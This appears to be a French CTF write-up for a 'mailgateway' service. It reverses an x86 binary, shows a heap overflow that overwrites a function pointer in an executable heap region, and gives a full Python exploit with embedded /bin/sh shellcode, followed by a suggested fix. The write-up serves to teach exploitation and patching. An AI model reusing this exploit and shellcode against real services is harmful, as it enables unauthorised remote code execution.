FR EN

Mailgateway service

<< Msgdispatcher service

Smsgateway service >>

Description fonctionnelle

Le service mailgateway était un service de "mailing" écrit en C, compilé pour x86, sans sources à disposition.

Le serveur attend sur le port 9119. Pour chaque nouvelle connexion, il forke la fonction manage_tcp_client. Le socket est le stdin + stdout de ce process. stderr reste la sortie standard du listener.

Lors d'une connexion, l'utilisateur peut :

  • - se logguer (commande 'n')
    Ouvre un fichier du nom de l'utilisateur en a+
    Le fichier ne pouvait pas contenir de '.'
  • - lire le fichier correspondant à l'utilisateur loggué (commande 'r')
  • - écrire 4 bytes par 4 bytes à la fin de ce fichier (commande 'm')
  • - ajouter des destinataires (commande '+')
    Manipulation d'une liste doublement chaînée
    Les éléments de la liste sont alloués par malloc + mprotect(RWX)
    A la fin de chaque destinataire, un pointeur vers la fonction basic_sanitize + un petit code sur 12 octets + un pointeur vers les éléments suivants et précédents
  • - supprimer des destinataires (commande '-')
    Lors de la suppression, le code contenu à la fin de chaque destinataire est exécuté avec comme arguments
    l'adresse du pointeur basic_sanitize pour ce destinataire et le nom du destinataire
  • - lister les destinataires (commande 'l')
    Afficher chaque élément de la liste et les pointeurs suivant/précédent
  • - envoyer un message aux destinataires (commande 's')
    Imprime seulement "TO: " + destinataire + contenu du fichier de l'utilisateur logué pour chaque
    destinataire sur stderr, côté serveur
  • - quitter (commande 'q')
    Affiche le login si login il y a eu
Heap overflow

Trouver la vulnérabilité après le reversing n'était pas trop difficile au sens où elle est vraiment flagrante : une région RWX, un overflow criant et un pointeur de fonction... Revenons donc en détail sur ces trois points.

La première interrogation que j'ai eue en regardant l'objdump c'est la raison de la présence d'un mprotect. On le trouve dans le code de l'allocation d'un nouveau destinataire :

[...] // malloc(0x11c), page du malloc -> ebp - 0x550
8049313:      movl $0x7,0x8(%esp)
804931b:      mov %eax,0x4(%esp)
804931f:      mov -0x550(%ebp),%eax
8049325:      mov %eax,(%esp)
8049328:      call 8048a04 <mprotect@plt>

On a donc un mprotect(new_dest_page, PROT_READ|PROT_WRITE|PROT_EXEC). Soit c'est une "erreur" de développement, soit il y a du code exécuté dans la région plus tard. On regarde donc l'initialisation de la structure destinataire :

804932d:      mov -0x544(%ebp),%eax
8049333:      movl $0x8048c30,0x100(%eax)

804933d:      mov -0x544(%ebp),%eax
8049343:      add $0x104,%eax
8049348:      mov %eax,-0x54c(%ebp)
804934e:      movl $0x0,-0x538(%ebp)
8049358:      mov -0x538(%ebp),%eax
804935e:      add -0x54c(%ebp),%eax
8049364:      movb $0xcc,(%eax)

8049367:      addl $0x1,-0x538(%ebp)
804936e:      mov -0x54c(%ebp),%edx
8049374:      mov -0x538(%ebp),%eax
804937a:      lea (%edx,%eax,1),%eax
804937d:      movl $0x82474ff,(%eax)

8049383:      addl $0x4,-0x538(%ebp)
804938a:      mov -0x54c(%ebp),%edx
8049390:      mov -0x538(%ebp),%eax
8049396:      lea (%edx,%eax,1),%eax
8049399:      movl $0x82454ff,(%eax)

804939f:      addl $0x4,-0x538(%ebp)
80493a6:      mov -0x54c(%ebp),%edx
80493ac:      mov -0x538(%ebp),%eax
80493b2:      lea (%edx,%eax,1),%eax
80493b5:      movl $0xc304c483,(%eax)

Ceci revient donc à faire l'initialisation suivante :

*(new_destinataire + 0x100) = 0x8048c30 // @basic_sanitize()
*(new_destinataire + 0x104) = 0xcc // breakpoint
memcpy(new_destinataire + 0x105, "\xff\x74\x24\x08\xff\x54\x24\x08\x83\xc4\x04\xc3", )

C'est bien sûr une initialisation qui paraît assez peu usuelle. On a donc un pointeur de fonction, suivi d'un bout de code. A la fin de cette structure sont aussi passés les pointeurs de la liste doublement chaînée : new_destinataire + 0x114 et new_destinataire + 0x118 sont respectivement placés au pointeur du dernier élement de la liste chaînée et au pointeur du premier élément (@recipients).

En continuant l'analyse de l'ajout de destinataire, on trouve un buffer overflow lors du remplissage :

80493bb:      movl $0x0,-0x538(%ebp)
80493c5:      jmp 8049401 <manage_tcp_client+0x6ea>
80493c7:      mov -0x538(%ebp),%eax
80493cd:      movzbl -0x531(%ebp),%ecx
80493d4:      mov -0x544(%ebp),%edx
80493da:      mov %cl,(%edx,%eax,1)
80493dd:      movzbl -0x531(%ebp),%eax
80493e4:      cmp $0x7c,%al
80493e6:      jne 80493fa <manage_tcp_client+0x6e3>
80493e8:      mov -0x538(%ebp),%eax
80493ee:      mov -0x544(%ebp),%edx
80493f4:      movb $0x0,(%edx,%eax,1)
80493f8:      jmp 8049423 <manage_tcp_client+0x70c>
80493fa:      addl $0x1,-0x538(%ebp)
8049401:      movl $0x1,0x8(%esp)
8049409:      lea -0x531(%ebp),%eax
804940f:      mov %eax,0x4(%esp)
8049413:      movl $0x0,(%esp)
804941a:      call 80489a4 <read@plt>
804941f:      test %eax,%eax
8049421:      jne 80493c7 <manage_tcp_client+0x6b0>

ebp - 0x531 est le buffer de lecture (1 byte) et ebp - 0x544 contient l'adresse de new_destinataire. On a donc une boucle classique qui va lire octet par octet le nom du nouveau destinataire jusqu'à tomber sur un caractère pipe, sans vérification de longueur maximale. On peut donc écraser les structures définies à partir de new_destinataire + 0x100.

Puisqu'on a un overflow sur des données exécutables, on regarde quand et comment elles sont exécutées. On trouve le bout de code suivant lors de la suppression d'un destinataire :

804956f:      mov -0x544(%ebp),%eax
8049575:      add $0x104,%eax
804957a:      lea 0x1(%eax),%ecx
804957d:      mov -0x544(%ebp),%edx
8049583:      mov -0x544(%ebp),%eax
8049589:      mov 0x100(%eax),%eax
804958f:      mov %edx,0x4(%esp)
8049593:      mov %eax,(%esp)
8049596:      call *%ecx

Il y a donc un appel au code à destinataire + 0x105 avec comme arguments destinataire + 0x100 et destinataire.

$ perl -e "print \"\xff\x74\x24\x08\xff\x54\x24\x08\x83\xc4\x04\xc3\"" > /tmp/test
$ x86dis -e 0 -s intel < /tmp/test 
00000000       push	[esp+0x8]
00000004       call	[esp+0x8]
00000008       add	esp, 0x04
0000000B       ret	
$

Honnêtement ça paraît un peu tiré par les cheveux mais bon, on a un appel de basic_sanitize(destinataire), et on sait qu'on peut réécrire le pointeur de basic_sanitize().

Exploitation

La petite subtilité était que pour reconnaitre le bon destinataire à supprimer, la fonction strcmp() était utilisée. Or, le buffer utilisé pour récupérer le destinataire à supprimer était limité à 256 caractères alors que notre destinataire contenant le shellcode en contenait au moins 260. Il ne fallait donc pas oublier d'introduire un caractère nul à destinataire[255] (possible puisque l'entrée standard est un socket).

Enfin, pour faciliter encore le tout, la fonction d'affichage des destinataires nous permettait de connaître la structure de la liste chaînée et donc l'adresse de notre shellcode.

Il fallait donc effectuer une exploitation en plusieurs étapes :

  • 1. Création de deux destinataires lambda
  • 2. Demande de la liste des destinataires
  • 3. Récupération de l'adresse de base du deuxième destinataire
  • 4. Suppression du deuxième destinataire
  • 5. Création d'un destinataire contenant shellcode + tampon jusqu'à 255 + octet nul + adresse de base
  • 6. Suppression de ce destinataire pour déclencher le shellcode

Voici un petit code d'exploitation :

#!/usr/bin/python

import socket
import sys
import re
import string
import random

# Shellcode simple sans le caractere '|':
# ./msfpayload linux/x86/exec CMD="/bin/sh" R | ./msfencode -b "\x7c" -t c
shellcode="\xdb\xd5\xd9\x74\x24\xf4\x5b\xba\x8f\x06" + \
"\x01\x9f\x2b\xc9\xb1\x0b\x31\x53\x1a\x83" + \
"\xc3\x04\x03\x53\x16\xe2\x7a\x6c\x0a\xc7" + \
"\x1d\x23\x6a\x9f\x30\xa7\xfb\xb8\x22\x08" + \
"\x8f\x2e\xb2\x3e\x40\xcd\xdb\xd0\x17\xf2" + \
"\x49\xc5\x20\xf5\x6d\x15\x1e\x97\x04\x7b" + \
"\x4f\x24\xbe\x83\xd8\x99\xb7\x65\x2b\x9d"

# generate random strings
def random_string(size_max, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase, fixed_size=0):
	if fixed_size != 0:
		sz = size_max
	else:
		sz = random.choice(range(size_max))
	if sz == 0:
		sz=1
	return ''.join(random.choice(chars) for x in range(sz))

sock = socket.socket()
sock.connect((sys.argv[1], 9119))
sockfile = sock.makefile()

# Create two recipients
toDel=random_string(255)
sock.send("+" + random_string(255) + "|+" + toDel + "|l\r\n")
print "[+] Recipients Created"

# Extract address of recipient 2 from reply
resp=""
while 1:
	c = sock.recv(1)
	if c == "":
		sys.exit(1)
	if c == "\n":
		break
	resp += c
payload=int(re.search(" 0x(.*)\)", resp).group(1), 16)
b4 = payload & 0xff
b3 = (payload >> 8) & 0xff
b2 = (payload >> 16) & 0xff
b1 = (payload >> 24) & 0xff
print "[+] Recipient 2 address resolved"

# Create crafted shellcoded recipient
buf = shellcode
buf += random_string(255 - len(shellcode), fixed_size = 1)

# Delete recipient 2, replace with crafted recipient, overwrite sanitization address with recipient 2 base address
# Delete crafted recipient to trigger shellcode
sock.send("-" + toDel + "|+" + buf + "\x00" + chr(b4) + chr(b3) + chr(b2) + chr(b1) +"|-" + buf + "|")
print "[+] Triggering exploit.."

# Shell commands
sock.send("whoami\nexit\n")

# Wait for result and exit
c = sock.recv(1)
resp = ""
while c != "":
	resp += c
	c = sock.recv(1)
print resp
Correction de la vulnérabilité

Avec un proxy applicatif, il faudrait dropper les requêtes contenant un '+' suivi de plus de 255 caractères avant un caractère '|', ou tronquer le corps à 255 caractères.

Sans proxy applicatif, il faudrait supprimer tout le code d'exécution du basic_sanitize() de 0x804956f à 0x8049597 inclus et le remplacer par un appel statique :

mov -0x544(%ebp), %eax
mov %eax, (%esp)
call 0x8048c30

On peut compléter par des NOP et ne pas avoir à changer les offsets de l'ELF ou des jumps.

<< Msgdispatcher service

Smsgateway service >>